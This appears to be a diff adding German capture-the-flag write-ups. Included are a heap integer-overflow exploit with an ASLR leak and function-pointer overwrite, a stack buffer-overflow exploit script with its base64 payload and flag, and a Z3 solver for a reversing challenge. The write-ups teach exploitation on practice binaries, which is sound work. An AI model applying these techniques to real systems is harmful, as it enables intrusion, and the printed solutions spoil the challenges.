||||
## Gelernte Lektionen
|
||||
|
||||
* **Vermeide globalen Zustand:** Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext.
|
||||
* **Nebenläufigkeit ist schwer:** Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird.
|
||||
* **Threadsicherheit:** Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren.
|
||||
|
||||
Frohes Hacken!
|
||||
202
de/slot_machine.md
Normal file
202
de/slot_machine.md
Normal file
@@ -0,0 +1,202 @@
|
||||
# Slot Machine
|
||||
|
||||
Hallo! Bereit für ein wenig Heap-Exploitation? Heute schauen wir uns **Slot Machine** an, eine Pwn-Challenge, die auf den ersten Blick einfach erscheint, aber eine raffinierte Schwachstelle verbirgt.
|
||||
|
||||
Beim ersten Ausführen des Programms wirst du vom "SecureSlot Storage Manager" begrüßt. Es ist ein einfaches Tool, mit dem man "Slots" zum Speichern von Daten initialisieren (`init`), lesen (`read`), beschreiben (`write`) und zerstören (`destroy`) kann.
|
||||
|
||||
Die Herausforderung: Wir haben nur ein **gestripptes Binary**. Kein Quellcode, keine Symbole. Das bedeutet, unser erster Schritt ist der Griff zum treuen Dekompiler – Ghidra –, um die Erkundung zu starten.
|
||||
|
||||
---
|
||||
|
||||
### Schritt 1: Erkundung (Die "Black Box")
|
||||
|
||||
Da wir mit einem gestrippten Binary arbeiten, müssen wir die Programmlogik selbst kartografieren. Ein guter erster Schritt bei jeder Pwn-Challenge ist die Suche nach interessanten Zeichenketten (Strings).
|
||||
|
||||
Suchen wir in Ghidra nach "flag", finden wir sofort einen Treffer:
|
||||
`[*] Congratulations! Here is your flag: %s
|
||||
`
|
||||
|
||||
Dieser String wird in einer Funktion an der Adresse `0x109d74` (`FUN_00109d74`) referenziert:
|
||||
|
||||
```c
|
||||
void FUN_00109d74(void)
|
||||
{
|
||||
undefined8 uVar1;
|
||||
|
||||
FUN_00114310("[*] Congratulations! Here is your flag: %s
|
||||
",&DAT_001f41e0);
|
||||
uVar1 = 0;
|
||||
FUN_001137e0();
|
||||
FUN_00130be0(uVar1);
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
Dies ist unsere "Win"-Bedingung – wenn wir den Programmfluss auf diese Adresse umleiten können, erhalten wir das Flag!
|
||||
|
||||
Schauen wir uns nun an, wie der Rest des Programms funktioniert. Wenn wir der Logik vom Einstiegspunkt bis zur `main`-Funktion (bei `0x10a393`) folgen, finden wir das Herzstück des "SecureSlot Manager": eine menügesteuerte Schleife.
|
||||
|
||||
```c
|
||||
// Dekompilierte Main-Schleife (FUN_0010a393)
|
||||
undefined8 FUN_0010a393(void)
|
||||
{
|
||||
// ... Setup-Code ...
|
||||
FUN_00123090("--- SecureSlot Storage Manager ---");
|
||||
do {
|
||||
while( true ) {
|
||||
while( true ) {
|
||||
while( true ) {
|
||||
while( true ) {
|
||||
FUN_00114310("
|
||||
COMMANDS: init, read, write, destroy, quit
|
||||
> ");
|
||||
FUN_001144a0(&DAT_001c01c7,local_1a);
|
||||
if (local_1a[0] != 'i') break;
|
||||
FUN_00109dc3(); // Dies ist cmd_init
|
||||
}
|
||||
if (local_1a[0] != 'r') break;
|
||||
FUN_00109f95(); // Dies ist cmd_read
|
||||
}
|
||||
if (local_1a[0] != 'w') break;
|
||||
FUN_0010a0d1(); // Dies ist cmd_write
|
||||
}
|
||||
if (local_1a[0] != 'd') break;
|
||||
FUN_0010a238(); // Dies ist cmd_destroy
|
||||
}
|
||||
} while (local_1a[0] != 'q');
|
||||
// ... Cleanup-Code ...
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Schritt 2: Reverse Engineering des "Slots"
|
||||
|
||||
Um dies auszunutzen, müssen wir verstehen, wie die "Slots" verwaltet werden. Schauen wir uns die `init`-Funktion an (`FUN_00109dc3`):
|
||||
|
||||
```c
|
||||
void FUN_00109dc3(void)
|
||||
{
|
||||
int iVar1;
|
||||
undefined8 uVar2;
|
||||
long in_FS_OFFSET;
|
||||
int local_34;
|
||||
long local_30;
|
||||
long local_28;
|
||||
long local_20;
|
||||
|
||||
local_20 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
FUN_00114310("Slot Index: ");
|
||||
FUN_001144a0(&DAT_001c00b1,&local_34);
|
||||
FUN_00114310("Element Count: ");
|
||||
FUN_001144a0(&DAT_001c00c4,&local_30);
|
||||
iVar1 = local_34;
|
||||
if ((local_34 < 0) || (0xb < local_34)) {
|
||||
FUN_00123090("Invalid index");
|
||||
}
|
||||
else if (*(long *)(&DAT_001f4220 + (long)local_34 * 8) == 0) {
|
||||
local_28 = (local_30 + 2) * 8;
|
||||
uVar2 = FUN_001308a0(local_28);
|
||||
*(undefined8 *)(&DAT_001f4220 + (long)iVar1 * 8) = uVar2;
|
||||
thunk_FUN_00133b80(*(undefined8 *)(&DAT_001f4220 + (long)local_34 * 8),0,local_28);
|
||||
if (*(long *)(&DAT_001f4220 + (long)local_34 * 8) == 0) {
|
||||
FUN_00123090("Allocation failed");
|
||||
}
|
||||
else {
|
||||
**(long **)(&DAT_001f4220 + (long)local_34 * 8) = local_30;
|
||||
*(code **)(*(long *)(&DAT_001f4220 + (long)local_34 * 8) + 8) = FUN_00109da4;
|
||||
FUN_00114310("Allocated slot %d
|
||||
",local_34);
|
||||
}
|
||||
}
|
||||
else {
|
||||
FUN_00123090("Slot already in use");
|
||||
}
|
||||
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
FUN_001641a0();
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
**Woher kennen wir das Struct-Layout?**
|
||||
Indem wir beobachten, wie das Programm mit dem Speicher interagiert, den `FUN_001308a0` (wir können annehmen, dass dies `malloc` ist) zurückgibt:
|
||||
1. `**(long **)(&DAT_001f4220 + (long)local_34 * 8) = local_30;` -> Die ersten 8 Bytes des reservierten Puffers speichern `local_30` (unseren "Element Count").
|
||||
2. `*(code **)(*(long *)(&DAT_001f4220 + (long)local_34 * 8) + 8) = FUN_00109da4;` -> Die nächsten 8 Bytes (Offset 8) speichern einen Funktionszeiger (`FUN_00109da4`).
|
||||
3. Wenn man die `read`- und `write`-Funktionen analysiert, sieht man, dass sie auf Daten zugreifen, die bei einem Offset von 16 Bytes beginnen.
|
||||
|
||||
Dies ermöglicht es uns, die `slot_t`-Struktur zu rekonstruieren:
|
||||
```c
|
||||
typedef struct {
|
||||
uint64_t count; // Offset 0 (local_30)
|
||||
void (*cleanup)(void*); // Offset 8 (FUN_00109da4)
|
||||
int64_t data[]; // Offset 16 (wo Benutzer lesen/schreiben)
|
||||
} slot_t;
|
||||
```
|
||||
|
||||
Wenn du den "destroy"-Befehl aufrufst, ruft das Programm diesen Funktionszeiger bei Offset 8 auf. Wenn wir diesen überschreiben können, kontrollieren wir die Ausführung!
|
||||
|
||||
---
|
||||
|
||||
### Schritt 3: Den "Jackpot" finden (Die Schwachstelle)
|
||||
|
||||
In `FUN_00109dc3` beachte, wie die Allokationsgröße `local_28` berechnet wird: `local_28 = (local_30 + 2) * 8;`. Wenn wir eine massiv große Zahl für `local_30` angeben, kommt es zu einem **Integer Overflow**.
|
||||
|
||||
Geben wir `2305843009213693952` ein (was $2^{61}$ entspricht), sieht die Rechnung so aus:
|
||||
$(2^{61} + 2)\times8 = 2^{64} + 16$.
|
||||
|
||||
In einem 64-Bit-System läuft $2^{64}$ auf $0$ zurück. Das Programm ruft also tatsächlich `malloc(16)` auf. Der bei Offset 0 gespeicherte `count` ist jedoch immer noch diese riesige Zahl! Das gibt uns einen "Slot", der glaubt, Milliarden von Einträgen zu haben, aber tatsächlich nur über 16 Bytes physischen Heap-Speicher verfügt.
|
||||
|
||||
---
|
||||
|
||||
### Schritt 4: Out-of-Bounds & ASLR-Bypass
|
||||
|
||||
Da `count` riesig ist, werden uns die Befehle `read` und `write` nicht daran hindern, auf Speicherbereiche zuzugreifen, die weit über die allokierten 16 Bytes hinausgehen. Wir haben einen **Out-of-Bounds (OOB) Zugriff**.
|
||||
|
||||
Aber es gibt einen Haken: **ASLR** ist aktiviert. Wir kennen die absolute Adresse von `print_flag` nicht. Wir benötigen ein Datenleck (Leak).
|
||||
|
||||
1. **Initialisiere Slot 0** mit unserer Overflow-Größe (`2305843009213693952`). Er erhält einen winzigen 16-Byte-Block.
|
||||
2. **Initialisiere Slot 1** mit einer normalen Größe (z. B. `1`). Der Heap-Allokator wird den Block für Slot 1 unmittelbar nach Slot 0 platzieren.
|
||||
|
||||
Da Slot 0 nur 16 Bytes reserviert bekommen hat, aber glaubt, riesig zu sein, überschneidet sich sein "data"-Bereich (beginnend bei Offset 16) nun mit dem nächsten Block im Speicher (Slot 1).
|
||||
|
||||
| Index (Slot 0) | Offset | Inhalt | Beschreibung |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| - | 0x00 | `count` | Slot 0 massive Größe |
|
||||
| - | 0x08 | `cleanup` | Slot 0 Cleanup-Zeiger |
|
||||
| **Eintrag 0** | 0x10 | `prev_size` | Slot 1 Heap-Metadaten |
|
||||
| **Eintrag 1** | 0x18 | `size` | Slot 1 Heap-Metadaten |
|
||||
| **Eintrag 2** | 0x20 | `count` | Slot 1 `count`-Feld |
|
||||
| **Eintrag 3** | 0x28 | `cleanup` | **Slot 1 Cleanup-Zeiger (Ziel!)** |
|
||||
|
||||
3. **Die Adresse leaken:** Lies `Slot 0` bei `Eintrag Index 3`.
|
||||
* Wie du aus der Tabelle ersehen kannst, zeigt `Eintrag 3` von Slot 0 genau auf den `cleanup`-Funktionszeiger von Slot 1.
|
||||
* Durch das Lesen dieses Werts erhalten wir die absolute Adresse von `default_destroy` (oder `FUN_00109da4`) und umgehen so ASLR!
|
||||
|
||||
Durch das Auslesen dieses Werts wissen wir nun, wo das Binary im Speicher geladen wurde.
|
||||
|
||||
---
|
||||
|
||||
### Schritt 5: Der finale Schlag
|
||||
|
||||
Da wir nun die geleakte Adresse der Standard-Cleanup-Funktion (`0x109da4`) haben, müssen wir nur noch den Offset zu `print_flag` (`0x109d74`) berechnen.
|
||||
|
||||
Die Differenz beträgt `0x30`. Wir nehmen also unsere geleakte Adresse, subtrahieren `0x30` und haben die exakte Adresse der Flag-Funktion.
|
||||
|
||||
1. **Die Adresse schreiben:** Nutze den OOB-Schreibzugriff auf `Slot 0` (Eintrag 3), um den Cleanup-Zeiger von `Slot 1` mit unserer berechneten `print_flag`-Adresse zu überschreiben.
|
||||
2. **Den Sieg auslösen:** Rufe den `destroy`-Befehl für **Slot 1** auf.
|
||||
|
||||
Anstatt den Speicher freizugeben, wird das Programm bereitwillig zu `print_flag` springen und dir den Preis überreichen!
|
||||
|
||||
---
|
||||
|
||||
### Zusammenfassende Checkliste
|
||||
- [ ] **Initialisiere Slot 0:** Count `2305843009213693952` (setzt Größe auf 16 zurück).
|
||||
- [ ] **Initialisiere Slot 1:** Count `1`.
|
||||
- [ ] **Lies Slot 0, Eintrag 3:** Dies leakt die `default_destroy`-Adresse.
|
||||
- [ ] **Berechne:** `Ziel = geleakte_Adresse - 0x30`.
|
||||
- [ ] **Schreibe Slot 0, Eintrag 3:** Schreibe die `Ziel`-Adresse.
|
||||
- [ ] **Zerstöre Slot 1:** Erfolg!
|
||||
|
||||
Viel Spaß beim Hacken! Denk daran: Manchmal entstehen die größten Strukturen aus den kleinsten Allokationen.
|
||||
147
de/smash_me.md
Normal file
147
de/smash_me.md
Normal file
@@ -0,0 +1,147 @@
|
||||
# Smash Me
|
||||
`smashMe` ist eine klassische Binary-Exploitation-Challenge, die Spieler in stackbasierte Buffer Overflows einführt. Die Challenge bietet ein statisch gelinktes 64-Bit-ELF-Binary und den dazugehörigen Quellcode. Die Spieler müssen eine Schwachstelle in einer benutzerdefinierten Base64-Dekodierung finden und den Programmfluss auf eine "Win"-Funktion umleiten, die das Flag ausgibt.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
### Sicherheitsmechanismen des Binarys
|
||||
Wir können die Sicherheitsmerkmale des Binarys mit Standard-Kommandozeilen-Tools wie `file` und `readelf` analysieren.
|
||||
|
||||
#### 1. Statisches Linken und No-PIE
|
||||
Mit dem Befehl `file`:
|
||||
```bash
|
||||
$ file smashMe
|
||||
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
|
||||
```
|
||||
- **Statically linked**: Alle notwendigen Bibliotheken (wie die `libc`) sind im Binary enthalten.
|
||||
- **LSB executable**: Da dort "executable" und nicht "shared object" steht, ist **PIE (Position Independent Executable)** deaktiviert. Das Binary wird an einer festen Basisadresse geladen (`0x400000`).
|
||||
|
||||
#### 2. NX (No-Execute)
|
||||
Mit `readelf` prüfen wir die Stack-Berechtigungen:
|
||||
```bash
|
||||
$ readelf -l smashMe | grep -A 1 STACK
|
||||
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||
```
|
||||
- Das Flag `RWE` (Read, Write, Execute) zeigt an, dass der Stack ausführbar ist. **NX** ist deaktiviert.
|
||||
|
||||
#### 3. Stack Canaries
|
||||
Obwohl eine Suche nach Symbolen `__stack_chk_fail` (aufgrund der statisch gelinkten `libc`) anzeigen könnte, können wir überprüfen, ob die Zielfunktion dies nutzt, indem wir `core_loop` disassemblieren:
|
||||
```bash
|
||||
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
|
||||
0000000000401d83 <core_loop>:
|
||||
...
|
||||
401d8f: 48 83 ec 50 sub rsp,0x50
|
||||
...
|
||||
```
|
||||
Das Fehlen von Referenzen auf `fs:[0x28]` oder Aufrufen von `__stack_chk_fail` im Funktionsprolog/-epilog bestätigt, dass für diese Funktion keine **Stack Canaries** aktiviert sind.
|
||||
|
||||
Diese Einstellungen machen das Binary sehr anfällig für traditionelle Stack-Smashing-Techniken.
|
||||
|
||||
### Quellcode-Analyse (`vuln.c`)
|
||||
Das Programm liest einen Base64-String vom Benutzer, dekodiert ihn und gibt das Ergebnis aus. Die Kernlogik befindet sich in `core_loop()`:
|
||||
|
||||
```c
|
||||
void core_loop() {
|
||||
unsigned char decoded[64];
|
||||
|
||||
// Base64-Eingabe anfordern
|
||||
printf("Give me a base64 string: ");
|
||||
scanf("%s", input);
|
||||
|
||||
// Dekodieren
|
||||
int result = base64_decode(input, decoded);
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Die Funktion `base64_decode` dekodiert Daten aus dem globalen `input`-Puffer in den lokalen `decoded`-Puffer. Dabei fehlt jedoch jegliche Überprüfung der Grenzen des Zielpuffers:
|
||||
|
||||
```c
|
||||
int base64_decode(const char *data, unsigned char *output_buffer) {
|
||||
// ...
|
||||
for (i = 0, j = 0; i < input_length;) {
|
||||
// ... (Dekodierungslogik)
|
||||
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
|
||||
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
|
||||
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
|
||||
}
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Während `decoded` nur 64 Bytes groß ist, kann `input` bis zu 2048 Bytes aufnehmen, was einen erheblichen Überlauf des Stackframes ermöglicht.
|
||||
|
||||
## Schwachstellenanalyse
|
||||
Die Schwachstelle ist ein **stackbasierter Buffer Overflow**. Durch die Angabe eines langen Base64-kodierten Strings können wir lokale Variablen, den gespeicherten Frame-Pointer (RBP) und die gespeicherte Rücksprungadresse auf dem Stack überschreiben.
|
||||
|
||||
Das Programm enthält eine "Win"-Funktion namens `print_flag()`:
|
||||
|
||||
```c
|
||||
void print_flag() {
|
||||
printf("[!!!] Access Granted. The Return Address was modified.
|
||||
[*] FLAG: %s
|
||||
", global_flag);
|
||||
exit(0);
|
||||
}
|
||||
```
|
||||
|
||||
Unser Ziel ist es, den Kontrollfluss zu kapern, indem wir die Rücksprungadresse von `core_loop()` mit der Adresse von `print_flag()` überschreiben.
|
||||
|
||||
## Exploitation-Strategie
|
||||
|
||||
### 1. Die Zieladresse finden
|
||||
Da PIE deaktiviert ist, ist die Adresse von `print_flag` konstant. Mit `nm` oder `objdump`:
|
||||
```bash
|
||||
nm smashMe | grep print_flag
|
||||
# Ausgabe: 0000000000401b58 T print_flag
|
||||
```
|
||||
Um potenzielle Probleme mit der Stack-Ausrichtung zu vermeiden (wie z. B. der Befehl `movaps`, der einen auf 16 Byte ausgerichteten Stack erfordert), können wir zu `0x401b60` springen, was kurz nach dem Funktionsprolog liegt.
|
||||
|
||||
### 2. Den Offset bestimmen
|
||||
Wir müssen die genaue Distanz vom Anfang des `decoded`-Puffers bis zur Rücksprungadresse bestimmen.
|
||||
- Die Funktion `core_loop` richtet den Stack auf 16 Bytes aus (`and rsp, 0xfffffffffffffff0`) und subtrahiert dann `0x50` (80 Bytes).
|
||||
- Der `decoded`-Puffer befindet sich am aktuellen `rsp`.
|
||||
- Aufgrund der Stack-Ausrichtung und der folgenden push/sub-Operationen beträgt die Distanz zur gespeicherten Rücksprungadresse **88 Bytes** (80 Bytes für den Puffer/Ausrichtung + 8 Bytes für das gespeicherte RBP).
|
||||
|
||||
Gesamt-Offset zur Rücksprungadresse: **88 Bytes**.
|
||||
|
||||
### 3. Den Payload konstruieren
|
||||
Struktur des Payloads:
|
||||
1. **80 Bytes** beliebiges Padding (z. B. 'A's).
|
||||
2. **8 Bytes**, um das gespeicherte RBP zu überschreiben (z. B. 'B's).
|
||||
3. **8 Bytes** mit der Adresse `0x401b60` (Little-Endian).
|
||||
|
||||
Der fertige Roh-Payload wird dann Base64-kodiert, um den Eingabeanforderungen des Programms zu entsprechen.
|
||||
|
||||
## Lösung
|
||||
|
||||
Das folgende Python-Skript generiert den Exploit:
|
||||
|
||||
```python
|
||||
import struct
|
||||
import base64
|
||||
|
||||
# Zieladresse von print_flag (Prolog überspringen)
|
||||
win_addr = struct.pack('<Q', 0x401b60)
|
||||
|
||||
# 80 Bytes Padding + 8 Bytes gespeichertes RBP + 8 Bytes Rücksprungadresse
|
||||
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
|
||||
|
||||
# Als Base64 kodieren, wie vom Programm erwartet
|
||||
print(base64.b64encode(raw_payload).decode())
|
||||
```
|
||||
|
||||
Das Ausführen des Skripts ergibt den Payload:
|
||||
`QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA`
|
||||
|
||||
Ausführen des Exploits gegen das Ziel:
|
||||
```bash
|
||||
$ nc <host> 1349
|
||||
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
|
||||
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
|
||||
[!!!] Access Granted. The Return Address was modified.
|
||||
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
|
||||
```
|
||||
|
||||
## Fazit
|
||||
`smashMe` dient als grundlegende Übung zum Identifizieren und Ausnutzen von stackbasierten Overflows. Es verdeutlicht, dass selbst wenn Daten transformiert werden (z. B. via Base64), eine unsachgemäße Behandlung von Pufferlängen zur vollständigen Kompromittierung des Systems führen kann.
|
||||
218
de/the_clockwork.md
Normal file
218
de/the_clockwork.md
Normal file
@@ -0,0 +1,218 @@
|
||||
# The Clockwork
|
||||
|
||||
`the_clockwork` ist eine Reverse-Engineering-Challenge, die ein System voneinander abhängiger Gleichungen beinhaltet. Uns wird eine Binärdatei `challenge` bereitgestellt und wir müssen die korrekte Eingabe finden, um ihre interne Logik zu erfüllen.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
```bash
|
||||
$ file challenge
|
||||
challenge: ELF 64-bit LSB executable, x86-64, ... not stripped
|
||||
```
|
||||
|
||||
Die Binärdatei ist nicht gestrippt und enthüllt Funktionsnamen. Wir analysieren sie mit Ghidra.
|
||||
|
||||
## Reverse Engineering
|
||||
|
||||
### Main-Funktion
|
||||
|
||||
Wir lokalisieren die `main`-Funktion (`0x402057`). Die Dekompilierung zeigt die Initialisierung eines Ziel-Arrays und eine Schleife, die die berechneten "Zahnräder" (Gears) verifiziert.
|
||||
|
||||
```c
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
bool bVar1;
|
||||
int iVar2;
|
||||
char *pcVar3;
|
||||
size_t sVar4;
|
||||
long in_FS_OFFSET;
|
||||
int local_164;
|
||||
int local_158 [64];
|
||||
char local_58 [72];
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
local_158[0] = 0x174;
|
||||
local_158[1] = 0x2fe;
|
||||
local_158[2] = 0x3dc;
|
||||
local_158[3] = 0x30c;
|
||||
local_158[4] = 0xfffffe57;
|
||||
local_158[5] = 0xffffffc6;
|
||||
local_158[6] = 0x28a;
|
||||
local_158[7] = 0x23d;
|
||||
local_158[8] = 0x24d;
|
||||
local_158[9] = 0xee;
|
||||
local_158[10] = 0x183;
|
||||
local_158[0xb] = 0x124;
|
||||
local_158[0xc] = 0x1e0;
|
||||
local_158[0xd] = 0x19c;
|
||||
local_158[0xe] = 0x1ab;
|
||||
local_158[0xf] = 0x444;
|
||||
// ... (Initialisierung geht weiter für 32 Werte) ...
|
||||
local_158[0x1f] = 0x209;
|
||||
|
||||
// ... (Logik zum Lesen der Eingabe) ...
|
||||
|
||||
if (sVar4 == 0x20) {
|
||||
// Berechne Zahnräder, speichere Ergebnis in der zweiten Hälfte von local_158
|
||||
calculate_gears(local_58,local_158 + 0x20);
|
||||
bVar1 = true;
|
||||
local_164 = 0;
|
||||
goto LAB_00402348;
|
||||
}
|
||||
|
||||
// ...
|
||||
|
||||
LAB_00402348:
|
||||
if (0x1f < local_164) goto LAB_00402351;
|
||||
|
||||
// Constraint-Prüfung:
|
||||
// gears[next] * 2 + gears[current] == target[current]
|
||||
// wobei next = (current + 1) % 32
|
||||
if (local_158[(long)((local_164 + 1) % 0x20) + 0x20] * 2 + local_158[(long)local_164 + 0x20] !=
|
||||
local_158[local_164]) {
|
||||
bVar1 = false;
|
||||
goto LAB_00402351;
|
||||
}
|
||||
local_164 = local_164 + 1;
|
||||
goto LAB_00402348;
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Die Schleife bei `LAB_00402348` verifiziert, dass für jedes Zahnrad `i`:
|
||||
`gears[i] + 2 * gears[(i+1)%32] == target[i]`
|
||||
|
||||
### Calculate Gears
|
||||
|
||||
Die Funktion `calculate_gears` berechnet das `gears`-Array aus dem Eingabestring.
|
||||
|
||||
```c
|
||||
void calculate_gears(char *param_1,undefined4 *param_2)
|
||||
|
||||
{
|
||||
undefined4 uVar1;
|
||||
|
||||
uVar1 = f0((int)*param_1);
|
||||
*param_2 = uVar1;
|
||||
uVar1 = f1((int)param_1[1],*param_2);
|
||||
param_2[1] = uVar1;
|
||||
uVar1 = f2((int)param_1[2]);
|
||||
param_2[2] = uVar1;
|
||||
uVar1 = f3((int)param_1[3],param_2[2]);
|
||||
param_2[3] = uVar1;
|
||||
|
||||
// ... Muster setzt sich fort ...
|
||||
|
||||
uVar1 = f30((int)param_1[0x1e]);
|
||||
param_2[0x1e] = uVar1;
|
||||
uVar1 = f31((int)param_1[0x1f],param_2[0x1e]);
|
||||
param_2[0x1f] = uVar1;
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
Sie verwendet 32 Hilfsfunktionen (`f0` bis `f31`).
|
||||
- Gerade Indizes hängen nur vom Eingabezeichen ab: `gears[i] = f_i(input[i])`
|
||||
- Ungerade Indizes hängen von der Eingabe und dem vorherigen Zahnrad ab: `gears[i] = f_i(input[i], gears[i-1])`
|
||||
|
||||
## Lösung
|
||||
|
||||
Wir können dieses System mit dem Z3 Constraint Solver modellieren.
|
||||
|
||||
1. **Repliziere die `f`-Funktionen**: Wir implementieren die Logik von `f0`...`f31` in Python (extrahiert aus der Disassemblierung).
|
||||
2. **Definiere Constraints**: Wir erzwingen die Beziehung `gears[i] + 2 * gears[(i+1)%32] == targets[i]`.
|
||||
3. **Lösen**: Wir bitten Z3, die 32 Eingabezeichen zu finden.
|
||||
|
||||
### Solver-Skript
|
||||
|
||||
```python
|
||||
import z3
|
||||
|
||||
# 1. Ziele aus main extrahiert
|
||||
targets = [
|
||||
0x174, 0x2fe, 0x3dc, 0x30c, -425, -58, 0x28a, 0x23d,
|
||||
0x24d, 0xee, 0x183, 0x124, 0x1e0, 0x19c, 0x1ab, 0x444,
|
||||
-56, -180, 0x13c, 0x25e, 0x1fe, 0x18a, 200, 0x82,
|
||||
0x233, 0x2da, 0x36e, 0x3c3, 0x47d, 0x2a4, 0x3b5, 0x209
|
||||
]
|
||||
|
||||
# 2. Flaggen-Variablen definieren
|
||||
flag = [z3.BitVec(f'flag_{i}', 32) for i in range(32)]
|
||||
s = z3.Solver()
|
||||
for i in range(32):
|
||||
s.add(flag[i] >= 32, flag[i] <= 126)
|
||||
|
||||
# 3. Hilfsfunktionen (f0-f31)
|
||||
def c_rem(a, b): return z3.SRem(a, b)
|
||||
|
||||
def f0(p1): return (p1 ^ 0x55) + 10
|
||||
def f1(p1, p2): return c_rem((p1 + p2), 200)
|
||||
def f2(p1): return p1 * 3 - 20
|
||||
def f3(p1, p2): return (p1 ^ p2) + 5
|
||||
def f4(p1): return (p1 + 10) ^ 0xaa
|
||||
def f5(p1, p2): return (p1 - p2) * 2
|
||||
def f6(p1): return p1 + 100
|
||||
def f7(p1, p2): return (p1 ^ p2) + 12
|
||||
def f8(p1): return (p1 * 2) ^ 0xff
|
||||
def f9(p1, p2): return p2 + p1 - 50
|
||||
def f10(p1): return (p1 ^ 123)
|
||||
def f11(p1, p2): return c_rem((p1 * p2), 500)
|
||||
def f12(p1): return p1 + 1
|
||||
def f13(p1, p2): return (p1 ^ p2) * 2
|
||||
def f14(p1): return p1 - 10
|
||||
def f15(p1, p2): return (p2 + p1) ^ 0x33
|
||||
def f16(p1): return p1 * 4
|
||||
def f17(p1, p2): return (p1 - p2) + 100
|
||||
def f18(p1): return (p1 ^ 0x77)
|
||||
def f19(p1, p2): return c_rem((p1 + p2), 150)
|
||||
def f20(p1): return p1 * 2
|
||||
def f21(p1, p2): return (p1 ^ p2) - 20
|
||||
def f22(p1): return p1 + 33
|
||||
def f23(p1, p2): return (p2 + p1) ^ 0xcc
|
||||
def f24(p1): return p1 - 5
|
||||
def f25(p1, p2): return c_rem((p1 * p2), 300)
|
||||
def f26(p1): return p1 ^ 0x88
|
||||
def f27(p1, p2): return p2 + p1 - 10
|
||||
def f28(p1): return p1 * 3
|
||||
def f29(p1, p2): return (p1 ^ p2) + 44
|
||||
def f30(p1): return p1 + 10
|
||||
def f31(p1, p2): return (p2 + p1) ^ 0x99
|
||||
|
||||
# 4. Zahnräder berechnen
|
||||
gears = [None] * 32
|
||||
gears[0] = f0(flag[0])
|
||||
gears[1] = f1(flag[1], gears[0])
|
||||
gears[2] = f2(flag[2])
|
||||
gears[3] = f3(flag[3], gears[2])
|
||||
# ... (Mapping für alle 32 Zahnräder fortsetzen) ...
|
||||
gears[4] = f4(flag[4]); gears[5] = f5(flag[5], gears[4])
|
||||
gears[6] = f6(flag[6]); gears[7] = f7(flag[7], gears[6])
|
||||
gears[8] = f8(flag[8]); gears[9] = f9(flag[9], gears[8])
|
||||
gears[10] = f10(flag[10]); gears[11] = f11(flag[11], gears[10])
|
||||
gears[12] = f12(flag[12]); gears[13] = f13(flag[13], gears[12])
|
||||
gears[14] = f14(flag[14]); gears[15] = f15(flag[15], gears[14])
|
||||
gears[16] = f16(flag[16]); gears[17] = f17(flag[17], gears[16])
|
||||
gears[18] = f18(flag[18]); gears[19] = f19(flag[19], gears[18])
|
||||
gears[20] = f20(flag[20]); gears[21] = f21(flag[21], gears[20])
|
||||
gears[22] = f22(flag[22]); gears[23] = f23(flag[23], gears[22])
|
||||
gears[24] = f24(flag[24]); gears[25] = f25(flag[25], gears[24])
|
||||
gears[26] = f26(flag[26]); gears[27] = f27(flag[27], gears[26])
|
||||
gears[28] = f28(flag[28]); gears[29] = f29(flag[29], gears[28])
|
||||
gears[30] = f30(flag[30]); gears[31] = f31(flag[31], gears[30])
|
||||
|
||||
# 5. Constraints hinzufügen
|
||||
for i in range(32):
|
||||
next_i = (i + 1) % 32
|
||||
s.add((gears[i] + gears[next_i] * 2) == targets[i])
|
||||
|
||||
# 6. Lösen
|
||||
if s.check() == z3.sat:
|
||||
m = s.model()
|
||||
result = "".join([chr(m[flag[i]].as_long()) for i in range(32)])
|
||||
print("Flag:", result)
|
||||
else:
|
||||
print("No solution found")
|
||||
```
|
||||
|
||||
Das Ausführen des Solvers liefert die korrekte Flagge.
|
||||
98
de/the_wrapper.md
Normal file
98
de/the_wrapper.md
Normal file
@@ -0,0 +1,98 @@
|
||||
# The Wrapper
|
||||
|
||||
